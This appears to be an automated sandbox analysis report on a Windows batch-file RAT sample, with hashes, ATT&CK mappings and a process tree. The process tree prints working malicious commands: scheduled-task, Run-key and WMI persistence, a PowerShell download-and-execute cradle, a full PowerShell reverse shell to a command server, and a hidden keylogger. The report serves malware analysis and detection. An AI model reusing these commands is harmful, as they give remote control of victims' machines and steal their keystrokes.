febacef602d1639208b046a81d69114afa25865173e6bb8039afd2a4d30b64b9

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:50

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General

Target
rat_build_261713_014705.bat
Size 4KB
Sample260529-b9qa8aaw3m
SHA256 febacef602d1639208b046a81d69114afa25865173e6bb8039afd2a4d30b64b9
MD5 aeb3953c98c6789b49505b4150994c3d
SHA1 2ce8148d2685cef909d48fd7b77beca631b8953e
SHA512 55e9fe8d768f6d2de9cdf54e8ea84fe818bd5fcf1e0deceb9d114468b02feb418b51d65001c95888a467c1ffb78fc1eb5cffc5782952286d3c37e08bb75de295
SSDEEP 96:zIvpWPL9Z8Xd0evaf80VblmS1clFO0YZ8lCglKIiFgZk8mvlo1vSz:z9PL9Z8XBi8AeFTY6CmiFgkHlMSz
TLSH
T13AA1EB2353AB753097B25518DD327C5853ACE9FB3301C68DA74C88C50E4EF43AA599E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_261713.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2492	powershell.exe
2528	powershell.exe
4012	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_261713 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_261713.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1700	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
920	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2152	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4952	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
2528	powershell.exe
2528	powershell.exe
2528	powershell.exe
4012	powershell.exe
4012	powershell.exe
4012	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3604	WMIC.exe
Token: SeSecurityPrivilege	3604	WMIC.exe
Token: SeTakeOwnershipPrivilege	3604	WMIC.exe
Token: SeLoadDriverPrivilege	3604	WMIC.exe
Token: SeSystemProfilePrivilege	3604	WMIC.exe
Token: SeSystemtimePrivilege	3604	WMIC.exe
Token: SeProfSingleProcessPrivilege	3604	WMIC.exe
Token: SeIncBasePriorityPrivilege	3604	WMIC.exe
Token: SeCreatePagefilePrivilege	3604	WMIC.exe
Token: SeBackupPrivilege	3604	WMIC.exe
Token: SeRestorePrivilege	3604	WMIC.exe
Token: SeShutdownPrivilege	3604	WMIC.exe
Token: SeDebugPrivilege	3604	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3604	WMIC.exe
Token: SeRemoteShutdownPrivilege	3604	WMIC.exe
Token: SeUndockPrivilege	3604	WMIC.exe
Token: SeManageVolumePrivilege	3604	WMIC.exe
Token: 33	3604	WMIC.exe
Token: 34	3604	WMIC.exe
Token: 35	3604	WMIC.exe
Token: 36	3604	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3604	WMIC.exe
Token: SeSecurityPrivilege	3604	WMIC.exe
Token: SeTakeOwnershipPrivilege	3604	WMIC.exe
Token: SeLoadDriverPrivilege	3604	WMIC.exe
Token: SeSystemProfilePrivilege	3604	WMIC.exe
Token: SeSystemtimePrivilege	3604	WMIC.exe
Token: SeProfSingleProcessPrivilege	3604	WMIC.exe
Token: SeIncBasePriorityPrivilege	3604	WMIC.exe
Token: SeCreatePagefilePrivilege	3604	WMIC.exe
Token: SeBackupPrivilege	3604	WMIC.exe
Token: SeRestorePrivilege	3604	WMIC.exe
Token: SeShutdownPrivilege	3604	WMIC.exe
Token: SeDebugPrivilege	3604	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3604	WMIC.exe
Token: SeRemoteShutdownPrivilege	3604	WMIC.exe
Token: SeUndockPrivilege	3604	WMIC.exe
Token: SeManageVolumePrivilege	3604	WMIC.exe
Token: 33	3604	WMIC.exe
Token: 34	3604	WMIC.exe
Token: 35	3604	WMIC.exe
Token: 36	3604	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2080	WMIC.exe
Token: SeSecurityPrivilege	2080	WMIC.exe
Token: SeTakeOwnershipPrivilege	2080	WMIC.exe
Token: SeLoadDriverPrivilege	2080	WMIC.exe
Token: SeSystemProfilePrivilege	2080	WMIC.exe
Token: SeSystemtimePrivilege	2080	WMIC.exe
Token: SeProfSingleProcessPrivilege	2080	WMIC.exe
Token: SeIncBasePriorityPrivilege	2080	WMIC.exe
Token: SeCreatePagefilePrivilege	2080	WMIC.exe
Token: SeBackupPrivilege	2080	WMIC.exe
Token: SeRestorePrivilege	2080	WMIC.exe
Token: SeShutdownPrivilege	2080	WMIC.exe
Token: SeDebugPrivilege	2080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2080	WMIC.exe
Token: SeRemoteShutdownPrivilege	2080	WMIC.exe
Token: SeUndockPrivilege	2080	WMIC.exe
Token: SeManageVolumePrivilege	2080	WMIC.exe
Token: 33	2080	WMIC.exe
Token: 34	2080	WMIC.exe
Token: 35	2080	WMIC.exe
Token: 36	2080	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2080	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 4952	4148	cmd.exe	89
PID 4148 wrote to memory of 2152	4148	cmd.exe	90
PID 4148 wrote to memory of 3604	4148	cmd.exe	91
PID 4148 wrote to memory of 2080	4148	cmd.exe	92
PID 4148 wrote to memory of 3812	4148	cmd.exe	94
PID 4148 wrote to memory of 920	4148	cmd.exe	106
PID 4148 wrote to memory of 1700	4148	cmd.exe	109
PID 4148 wrote to memory of 2492	4148	cmd.exe	110
PID 4148 wrote to memory of 2528	4148	cmd.exe	111
PID 4148 wrote to memory of 4012	4148	cmd.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_261713_014705.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_261713" /tr "C:\Users\Admin\AppData\Local\Temp\_261713.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4952
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_261713" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_261713.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2152
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_261713", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3604
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_261713", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_261713.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_261713.txt
  2⤵
  PID:3812
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:920
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_261713.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7631298a59b1fc6fd1f5fb1343a354b03e8efd5ad08a96e3b8d2d918c9637d37
MD5 427eb482e76f52687690d49917063bd1
SHA1 270c8155ad155cf77e62ae6344a7c2c7673901a5
SHA512 2cfe2762c71b446a38cf749f6b8eeee69a8529b0fbac763174b1abffec4668693cf6d19db52b94b79b745e63e5fc7567a5bb66e943612fc06721f2dc2392625a
TLSH
T131117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9c7d4c8c4eaf892b5d145729abc250758715a6d421cfb6eb889574b2d539bcdf
MD5 41d4ca6ccc49209ee1c700ae2e48a031
SHA1 4ad9c670b1f1512ea6d39d26a338d1bc0ea2bf5b
SHA512 8375dd343cd980de0e96a82c1d48d9d7bcb0c7a1aa92965c36a5fa51e5633e90b5ae31efcd44d19db94fd8318215e1223c664875e64f4d30aae038d2205fd359
TLSH
T136115727B39C89A1CC96163A409D9C1172B683D7419EDEDF6BC0D214A17F584CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_jykmarqc.5z0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jykmarqc.5z0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2492-3-0x00000199F92F0000-0x00000199F9312000-memory.dmp

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memory/2492-13-0x00000199F9420000-0x00000199F956E000-memory.dmp

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memory/2528-24-0x00000208E9D90000-0x00000208E9EDE000-memory.dmp

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memory/4012-34-0x000002AD5E7C0000-0x000002AD5E90E000-memory.dmp

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